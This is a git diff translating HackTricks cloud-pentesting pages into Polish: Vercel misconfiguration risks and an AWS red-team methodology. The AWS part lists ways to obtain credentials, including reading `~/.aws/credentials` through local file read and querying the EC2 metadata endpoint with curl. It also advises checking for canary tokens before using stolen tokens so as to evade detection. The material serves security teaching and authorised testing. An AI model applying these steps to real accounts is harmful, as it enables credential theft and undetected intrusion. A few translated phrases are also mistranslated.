+- **Ryzyko:** Częściowa trwałość.
---
-### Security & Privacy
+### Bezpieczeństwo i prywatność
-#### Security Configurations:
+#### Konfiguracje zabezpieczeń:
-- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard.
- - **Misconfiguration:**
- - Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting.
- - Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain.
- - **Risks:**
- - **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team.
- - **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals.
-- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access.
- - **Misconfiguration:** Not adding critical Git scopes to the protected list.
-- **Risks:**
- - **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization.
- - **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team.
-- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system.
- - **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled.
- - **Risks:**
- - **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members.
- - **Data Breach:** Sensitive information like API keys and credentials could be leaked.
-- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members.
- - **Misconfiguration:**\
- Granting access to audit logs to unauthorized team members.
- - **Risks:**
- - **Privacy Violations:** Exposure of sensitive user activities and data.
- - **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks.
-- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management.
- - **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints.
- - **Risk:** Maintain persistence
-- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains.
- - **Misconfiguration:** Leaving IP address visibility enabled without necessity.
- - **Risks:**
- - **Privacy Violations:** Non-compliance with data protection regulations like GDPR.
- - **Legal Repercussions:** Potential fines and penalties for mishandling personal data.
-- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing.
- - **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic.
- - **Risks:**
- - **Service Denial to Legitimate Users:** Blocking access for valid users or partners.
- - **Operational Disruptions:** Loss of service availability for certain regions or clients.
+- **Domena e-mail zespołu:** Po skonfigurowaniu to ustawienie automatycznie zaprasza osobiste konta Vercel z adresami e-mail kończącymi się na określonej domenie (np. `mydomain.com`) do dołączenia do twojego zespołu po rejestracji i na pulpicie.
+- **Błędna konfiguracja:**
+- Określenie niewłaściwej domeny e-mail lub błędnie napisanej domeny w ustawieniu Domena e-mail zespołu.
+- Używanie powszechnej domeny e-mail (np. `gmail.com`, `hotmail.com`) zamiast domeny specyficznej dla firmy.
+- **Ryzyka:**
+- **Nieautoryzowany dostęp:** Użytkownicy z adresami e-mail z niezamierzonych domen mogą otrzymać zaproszenia do dołączenia do twojego zespołu.
+- **Ujawnienie danych:** Potencjalne ujawnienie wrażliwych informacji o projekcie nieautoryzowanym osobom.
+- **Chronione zakresy Git:** Umożliwia dodanie do 5 zakresów Git do twojego zespołu, aby zapobiec innym zespołom Vercel wdrażania repozytoriów z chronionego zakresu. Wiele zespołów może określić ten sam zakres, co umożliwia dostęp obu zespołów.
+- **Błędna konfiguracja:** Nie dodawanie krytycznych zakresów Git do listy chronionej.
+- **Ryzyka:**
+- **Nieautoryzowane wdrożenia:** Inne zespoły mogą wdrażać repozytoria z zakresów Git twojej organizacji bez autoryzacji.
+- **Ujawnienie własności intelektualnej:** Własny kod może zostać wdrożony i uzyskany poza twoim zespołem.
+- **Polityki zmiennych środowiskowych:** Egzekwuje polityki dotyczące tworzenia i edytowania zmiennych środowiskowych zespołu. W szczególności możesz egzekwować, aby wszystkie zmienne środowiskowe były tworzone jako **Wrażliwe zmienne środowiskowe**, które mogą być odszyfrowane tylko przez system wdrożeniowy Vercel.
+- **Błędna konfiguracja:** Utrzymywanie wyłączenia egzekwowania wrażliwych zmiennych środowiskowych.
+- **Ryzyka:**
+- **Ujawnienie sekretów:** Zmienne środowiskowe mogą być przeglądane lub edytowane przez nieautoryzowanych członków zespołu.
+- **Naruszenie danych:** Wrażliwe informacje, takie jak klucze API i poświadczenia, mogą zostać wycieknięte.
+- **Dziennik audytu:** Zapewnia eksport aktywności zespołu za ostatnie 90 dni. Dzienniki audytu pomagają w monitorowaniu i śledzeniu działań wykonywanych przez członków zespołu.
+- **Błędna konfiguracja:**\
+Przyznawanie dostępu do dzienników audytu nieautoryzowanym członkom zespołu.
+- **Ryzyka:**
+- **Naruszenia prywatności:** Ujawnienie wrażliwych działań użytkowników i danych.
+- **Manipulacja logami:** Złośliwi aktorzy mogą zmieniać lub usuwać logi, aby zatuszować swoje ślady.
+- **SAML Single Sign-On:** Umożliwia dostosowanie autoryzacji SAML i synchronizacji katalogów dla twojego zespołu, umożliwiając integrację z dostawcą tożsamości (IdP) w celu centralnej autoryzacji i zarządzania użytkownikami.
+- **Błędna konfiguracja:** Atakujący może wprowadzić tylne furtki do ustawień zespołu, konfigurując parametry SAML, takie jak identyfikator encji, adres URL SSO lub odciski palców certyfikatu.
+- **Ryzyko:** Utrzymanie trwałości.
+- **Widoczność adresów IP:** Kontroluje, czy adresy IP, które mogą być uważane za dane osobowe zgodnie z niektórymi przepisami o ochronie danych, są wyświetlane w zapytaniach monitorujących i odpływach logów.
+- **Błędna konfiguracja:** Pozostawienie widoczności adresów IP włączonej bez potrzeby.
+- **Ryzyka:**
+- **Naruszenia prywatności:** Nieprzestrzeganie przepisów o ochronie danych, takich jak RODO.
+- **Konsekwencje prawne:** Potencjalne grzywny i kary za niewłaściwe zarządzanie danymi osobowymi.
+- **Blokowanie IP:** Umożliwia konfigurację adresów IP i zakresów CIDR, z których Vercel powinien blokować żądania. Zablokowane żądania nie przyczyniają się do twojego rozliczenia.
+- **Błędna konfiguracja:** Może być nadużywana przez atakującego do zezwolenia na złośliwy ruch lub blokowania legalnego ruchu.
+- **Ryzyka:**
+- **Odmowa usługi dla legalnych użytkowników:** Blokowanie dostępu dla ważnych użytkowników lub partnerów.
+- **Zakłócenia operacyjne:** Utrata dostępności usługi dla niektórych regionów lub klientów.
---
-### Secure Compute
+### Bezpieczne obliczenia
-**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy.
+**Vercel Secure Compute** umożliwia bezpieczne, prywatne połączenia między funkcjami Vercel a środowiskami backendowymi (np. bazami danych) poprzez ustanowienie izolowanych sieci z dedykowanymi adresami IP. To eliminuje potrzebę publicznego ujawniania usług backendowych, zwiększając bezpieczeństwo, zgodność i prywatność.
-#### **Potential Misconfigurations and Risks**
+#### **Potencjalne błędne konfiguracje i ryzyka**
-1. **Incorrect AWS Region Selection**
- - **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region.
- - **Risk:** Increased latency, potential data residency compliance issues, and degraded performance.
-2. **Overlapping CIDR Blocks**
- - **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks.
- - **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks.
-3. **Improper VPC Peering Configuration**
- - **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates).
- - **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches.
-4. **Excessive Project Assignments**
- - **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation.
- - **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others.
-5. **Inadequate IP Address Management**
- - **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately.
- - **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities.
-6. **Including Build Containers Unnecessarily**
- - **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds.
- - **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources.
-7. **Failure to Securely Handle Bypass Secrets**
- - **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections.
- - **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code.
-8. **Ignoring Region Failover Configurations**
- - **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings.
- - **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency.
-9. **Exceeding VPC Peering Connection Limits**
- - **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections).
- - **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions.
-10. **Insecure Network Settings**
- - **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network.
- - **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks.
+1. **Nieprawidłowy wybór regionu AWS**
+- **Błędna konfiguracja:** Wybór regionu AWS dla sieci Secure Compute, który nie odpowiada regionowi usług backendowych.
+- **Ryzyko:** Zwiększone opóźnienia, potencjalne problemy z zgodnością z przepisami o rezydencji danych i pogorszenie wydajności.
+2. **Nakładające się bloki CIDR**
+- **Błędna konfiguracja:** Wybór bloków CIDR, które nakładają się na istniejące VPC lub inne sieci.
+- **Ryzyko:** Konflikty sieciowe prowadzące do nieudanych połączeń, nieautoryzowanego dostępu lub wycieku danych między sieciami.
+3. **Nieprawidłowa konfiguracja peeringu VPC**
+- **Błędna konfiguracja:** Nieprawidłowe skonfigurowanie peeringu VPC (np. błędne identyfikatory VPC, niekompletne aktualizacje tabeli tras).
+- **Ryzyko:** Nieautoryzowany dostęp do infrastruktury backendowej, nieudane bezpieczne połączenia i potencjalne naruszenia danych.
+4. **Nadmierne przypisania projektów**
+- **Błędna konfiguracja:** Przypisanie wielu projektów do jednej sieci Secure Compute bez odpowiedniej izolacji.
+- **Ryzyko:** Wspólne ujawnienie IP zwiększa powierzchnię ataku, potencjalnie pozwalając skompromitowanym projektom wpływać na inne.
+5. **Niewystarczające zarządzanie adresami IP**
+- **Błędna konfiguracja:** Nieprawidłowe zarządzanie lub rotacja dedykowanych adresów IP.
+- **Ryzyko:** Fałszowanie IP, luki w śledzeniu i potencjalne umieszczanie na czarnej liście, jeśli IP są powiązane z działalnością złośliwą.
+6. **Niepotrzebne dodawanie kontenerów budowlanych**
+- **Błędna konfiguracja:** Dodawanie kontenerów budowlanych do sieci Secure Compute, gdy dostęp do backendu nie jest wymagany podczas budowy.
+- **Ryzyko:** Zwiększona powierzchnia ataku, wydłużone opóźnienia w przydzielaniu i niepotrzebne zużycie zasobów sieciowych.
+7. **Brak bezpiecznego zarządzania sekretami obejścia**
+- **Błędna konfiguracja:** Ujawnianie lub niewłaściwe zarządzanie sekretami używanymi do obejścia ochrony wdrożeń.
+- **Ryzyko:** Nieautoryzowany dostęp do chronionych wdrożeń, co pozwala atakującym manipulować lub wdrażać złośliwy kod.
+8. **Ignorowanie konfiguracji awaryjnych regionów**
+- **Błędna konfiguracja:** Nie skonfigurowanie pasywnych regionów awaryjnych lub błędne skonfigurowanie ustawień awaryjnych.
+- **Ryzyko:** Przestoje usług podczas awarii głównego regionu, co prowadzi do zmniejszonej dostępności i potencjalnej niespójności danych.
+9. **Przekroczenie limitów połączeń peeringu VPC**
+- **Błędna konfiguracja:** Próba nawiązania większej liczby połączeń peeringu VPC niż dozwolony limit (np. przekroczenie 50 połączeń).
+- **Ryzyko:** Niemożność bezpiecznego połączenia z niezbędnymi usługami backendowymi, co powoduje niepowodzenia wdrożeń i zakłócenia operacyjne.
+10. **Niebezpieczne ustawienia sieciowe**
+- **Błędna konfiguracja:** Słabe zasady zapory, brak szyfrowania lub niewłaściwa segmentacja sieci w sieci Secure Compute.
+- **Ryzyko:** Przechwytywanie danych, nieautoryzowany dostęp do usług backendowych i zwiększona podatność na ataki.
---
-### Environment Variables
+### Zmienne środowiskowe
-**Purpose:** Manage environment-specific variables and secrets used by all the projects.
+**Cel:** Zarządzanie zmiennymi i sekretami specyficznymi dla środowiska używanymi przez wszystkie projekty.
-#### Security Configurations:
+#### Konfiguracje zabezpieczeń:
-- **Exposing Sensitive Variables**
- - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
-- **Sensitive disabled**
- - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
+- **Ujawnianie wrażliwych zmiennych**
+- **Błędna konfiguracja:** Prefiksowanie wrażliwych zmiennych `NEXT_PUBLIC_`, co czyni je dostępnymi po stronie klienta.
+- **Ryzyko:** Ujawnienie kluczy API, poświadczeń bazy danych lub innych wrażliwych danych publicznie, co prowadzi do naruszeń danych.
+- **Wrażliwe wyłączone**
+- **Błędna konfiguracja:** Jeśli wyłączone (domyślnie), możliwe jest odczytanie wartości wygenerowanych sekretów.
+- **Ryzyko:** Zwiększone prawdopodobieństwo przypadkowego ujawnienia lub nieautoryzowanego dostępu do wrażliwych informacji.
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md
index ad71de826..512b3c206 100644
--- a/src/pentesting-cloud/aws-security/README.md
+++ b/src/pentesting-cloud/aws-security/README.md
@@ -2,17 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Podstawowe informacje
-**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
+**Przed rozpoczęciem pentestingu** środowiska **AWS** istnieje kilka **podstawowych rzeczy, które musisz wiedzieć** o tym, jak działa AWS, aby pomóc Ci zrozumieć, co musisz zrobić, jak znaleźć błędy konfiguracyjne i jak je wykorzystać.
-Concepts such as organization hierarchy, IAM and other basic concepts are explained in:
+Koncepcje takie jak hierarchia organizacji, IAM i inne podstawowe pojęcia są wyjaśnione w:
{{#ref}}
aws-basic-information/
{{#endref}}
-## Labs to learn
+## Laboratoria do nauki
- [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat)
- [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable)
@@ -22,49 +22,49 @@ aws-basic-information/
- [http://flaws.cloud/](http://flaws.cloud/)
- [http://flaws2.cloud/](http://flaws2.cloud/)
-Tools to simulate attacks:
+Narzędzia do symulacji ataków:
- [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/)
- [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main)
-## AWS Pentester/Red Team Methodology
+## Metodologia Pentestera/Red Team AWS
-In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected.
+Aby audytować środowisko AWS, bardzo ważne jest, aby wiedzieć: które **usługi są używane**, co jest **eksponowane**, kto ma **dostęp** do czego i jak są połączone wewnętrzne usługi AWS oraz **usługi zewnętrzne**.
-From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
+Z punktu widzenia Red Team, **pierwszym krokiem do skompromitowania środowiska AWS** jest uzyskanie jakichś **poświadczeń**. Oto kilka pomysłów, jak to zrobić:
-- **Leaks** in github (or similar) - OSINT
-- **Social** Engineering
-- **Password** reuse (password leaks)
-- Vulnerabilities in AWS-Hosted Applications
- - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
- - **Local File Read**
- - `/home/USERNAME/.aws/credentials`
- - `C:\Users\USERNAME\.aws\credentials`
-- 3rd parties **breached**
-- **Internal** Employee
-- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credentials
+- **Wycieki** w githubie (lub podobnych) - OSINT
+- **Inżynieria** społeczna
+- Ponowne użycie **hasła** (wycieki haseł)
+- Luki w aplikacjach hostowanych w AWS
+- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) z dostępem do punktu końcowego metadanych
+- **Odczyt lokalnych plików**
+- `/home/USERNAME/.aws/credentials`
+- `C:\Users\USERNAME\.aws\credentials`
+- **Złamane** przez osoby trzecie
+- **Wewnętrzny** pracownik
+- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)poświadczenia
-Or by **compromising an unauthenticated service** exposed:
+Lub poprzez **skomplikowanie niezautoryzowanej usługi** eksponowanej:
{{#ref}}
aws-unauthenticated-enum-access/
{{#endref}}
-Or if you are doing a **review** you could just **ask for credentials** with these roles:
+Lub jeśli robisz **przegląd**, możesz po prostu **poprosić o poświadczenia** z tymi rolami:
{{#ref}}
aws-permissions-for-a-pentest.md
{{#endref}}
> [!NOTE]
-> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
+> Po uzyskaniu poświadczeń musisz wiedzieć **do kogo należą te poświadczenia** i **do czego mają dostęp**, więc musisz przeprowadzić podstawową enumerację:
-## Basic Enumeration
+## Podstawowa enumeracja
### SSRF
-If you found a SSRF in a machine inside AWS check this page for tricks:
+Jeśli znalazłeś SSRF na maszynie wewnątrz AWS, sprawdź tę stronę po triki:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
@@ -72,8 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
### Whoami
-One of the first things you need to know is who you are (in where account you are in other info about the AWS env):
-
+Jedną z pierwszych rzeczy, które musisz wiedzieć, jest to, kim jesteś (w jakim koncie jesteś i inne informacje o środowisku AWS):
```bash
# Easiest way, but might be monitored?
aws sts get-caller-identity
@@ -89,10 +88,9 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
```
-
> [!CAUTION]
-> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\
-> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
+> Zauważ, że firmy mogą używać **canary tokens**, aby zidentyfikować, kiedy **tokeny są kradzione i używane**. Zaleca się sprawdzenie, czy token jest tokenem canary, zanim go użyjesz.\
+> Więcej informacji [**sprawdź tę stronę**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
### Org Enumeration
@@ -102,30 +100,30 @@ aws-services/aws-organizations-enum.md
### IAM Enumeration
-If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**.
+Jeśli masz wystarczające uprawnienia, **sprawdzenie uprawnień każdej jednostki w koncie AWS** pomoże Ci zrozumieć, co Ty i inne tożsamości możecie zrobić oraz jak **eskalować uprawnienia**.
-If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\
-Check **how to do the numeration and brute-forcing** in:
+Jeśli nie masz wystarczających uprawnień do enumeracji IAM, możesz **ukraść je za pomocą brute force**, aby je ustalić.\
+Sprawdź **jak przeprowadzić enumerację i brute-forcing** w:
{{#ref}}
aws-services/aws-iam-enum.md
{{#endref}}
> [!NOTE]
-> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
-> In the following section you can check some ways to **enumerate some common services.**
+> Teraz, gdy **masz pewne informacje o swoich poświadczeniach** (a jeśli jesteś w red team, miejmy nadzieję, że **nie zostałeś wykryty**). Czas ustalić, które usługi są używane w środowisku.\
+> W następnej sekcji możesz sprawdzić kilka sposobów na **enumerację niektórych powszechnych usług.**
## Services Enumeration, Post-Exploitation & Persistence
-AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
+AWS ma zdumiewającą ilość usług, na następnej stronie znajdziesz **podstawowe informacje, enumerację** cheatsheets\*\*,\*\* jak **unikać wykrycia**, uzyskać **persistence** i inne **sztuczki po eksploatacji** dotyczące niektórych z nich:
{{#ref}}
aws-services/
{{#endref}}
-Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](./#automated-tools).
+Zauważ, że **nie** musisz wykonywać całej pracy **ręcznie**, poniżej w tym poście możesz znaleźć **sekcję o** [**automatycznych narzędziach**](./#automated-tools).
-Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
+Co więcej, na tym etapie możesz odkryć **więcej usług wystawionych dla nieautoryzowanych użytkowników**, które możesz wykorzystać:
{{#ref}}
aws-unauthenticated-enum-access/
@@ -133,7 +131,7 @@ aws-unauthenticated-enum-access/
## Privilege Escalation
-If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in:
+Jeśli możesz **sprawdzić przynajmniej swoje własne uprawnienia** do różnych zasobów, możesz **sprawdzić, czy możesz uzyskać dalsze uprawnienia**. Powinieneś skupić się przynajmniej na uprawnieniach wskazanych w:
{{#ref}}
aws-privilege-escalation/
@@ -141,10 +139,10 @@ aws-privilege-escalation/
## Publicly Exposed Services
-While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
-As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
+Podczas enumeracji usług AWS mogłeś znaleźć niektóre z nich **wystawiające elementy do Internetu** (porty VM/Kontenerów, bazy danych lub usługi kolejkowe, migawki lub kosze...).\
+Jako pentester/red teamer zawsze powinieneś sprawdzić, czy możesz znaleźć **wrażliwe informacje / luki** w nich, ponieważ mogą one zapewnić Ci **dalszy dostęp do konta AWS**.
-In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
+W tej książce powinieneś znaleźć **informacje** o tym, jak znaleźć **wystawione usługi AWS i jak je sprawdzić**. Na temat tego, jak znaleźć **luki w wystawionych usługach sieciowych**, zalecałbym **szukać** konkretnej **usługi** w:
{{#ref}}
https://book.hacktricks.xyz/
@@ -154,52 +152,49 @@ https://book.hacktricks.xyz/
### From the root/management account
-When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account.
+Gdy konto zarządzające tworzy nowe konta w organizacji, **nowa rola** jest tworzona w nowym koncie, domyślnie nazwana **`OrganizationAccountAccessRole`** i nadająca politykę **AdministratorAccess** dla **konta zarządzającego**, aby uzyskać dostęp do nowego konta.
-So, in order to access as administrator a child account you need:
+Aby uzyskać dostęp jako administrator do konta podrzędnego, musisz:
-- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin.
- - To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts`
- - You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**.
-- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary).
+- **Skompromitować** **konto zarządzające** i znaleźć **ID** **konta podrzędnych** oraz **nazwy** **ról** (domyślnie OrganizationAccountAccessRole), które pozwalają kontu zarządzającemu uzyskać dostęp jako administrator.
+- Aby znaleźć konta podrzędne, przejdź do sekcji organizacji w konsoli AWS lub uruchom `aws organizations list-accounts`
+- Nie możesz znaleźć nazw ról bezpośrednio, więc sprawdź wszystkie niestandardowe polityki IAM i poszukaj tych, które pozwalają na **`sts:AssumeRole` nad wcześniej odkrytymi kontami podrzędnymi**.
+- **Skompromituj** **podmiot** w koncie zarządzającym z **uprawnieniem `sts:AssumeRole` nad rolą w kontach podrzędnych** (nawet jeśli konto pozwala każdemu z konta zarządzającego na podszywanie się, ponieważ jest to konto zewnętrzne, konkretne uprawnienia `sts:AssumeRole` są konieczne).
## Automated Tools
### Recon
-- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby.
-
+- [**aws-recon**](https://github.com/darkbitio/aws-recon): Narzędzie do **zbierania inwentarza** skoncentrowane na bezpieczeństwie AWS, napisane w Ruby.
```bash
# Install
gem install aws_recon
# Recon and get json
AWS_PROFILE= aws_recon \
- --services S3,EC2 \
- --regions global,us-east-1,us-east-2 \
- --verbose
+--services S3,EC2 \
+--regions global,us-east-1,us-east-2 \
+--verbose
```
-
-- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
-- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues.
-
+- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist to **narzędzie wielochmurowe do pozyskiwania zasobów** (nazwy hostów, adresy IP) od dostawców chmury.
+- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper pomaga w analizie twoich środowisk Amazon Web Services (AWS). Teraz zawiera znacznie więcej funkcji, w tym audyt problemów z bezpieczeństwem.
```bash
# Installation steps in github
# Create a config.json file with the aws info, like:
{
- "accounts": [
- {
- "default": true,
- "id": "",
- "name": "dev"
- }
- ],
- "cidrs":
- {
- "2.2.2.2/28": {"name": "NY Office"}
- }
+"accounts": [
+{
+"default": true,
+"id": "",
+"name": "dev"
+}
+],
+"cidrs":
+{
+"2.2.2.2/28": {"name": "NY Office"}
+}
}
# Enumerate
@@ -229,9 +224,7 @@ python3 cloudmapper.py public --accounts dev
python cloudmapper.py prepare #Prepare webserver
python cloudmapper.py webserver #Show webserver
```
-
-- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
-
+- [**cartography**](https://github.com/lyft/cartography): Cartography to narzędzie w Pythonie, które konsoliduje zasoby infrastruktury oraz relacje między nimi w intuicyjnym widoku graficznym zasilanym przez bazę danych Neo4j.
```bash
# Install
pip install cartography
@@ -240,17 +233,15 @@ pip install cartography
# Get AWS info
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
```
-
-- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
-- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account.
-- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account.
+- [**starbase**](https://github.com/JupiterOne/starbase): Starbase zbiera zasoby i relacje z usług i systemów, w tym infrastruktury chmurowej, aplikacji SaaS, kontroli bezpieczeństwa i innych, w intuicyjny widok graficzny oparty na bazie danych Neo4j.
+- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Używa python2) To narzędzie, które próbuje **odkryć wszystkie** [**zasoby AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) utworzone w koncie.
+- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): To narzędzie do **pobierania wszystkich publicznych adresów IP** (zarówno IPv4/IPv6) związanych z kontem AWS.
### Privesc & Exploiting
-- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
-- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict.
- - Note that pacu **only checks your own privescs paths** (not account wide).
-
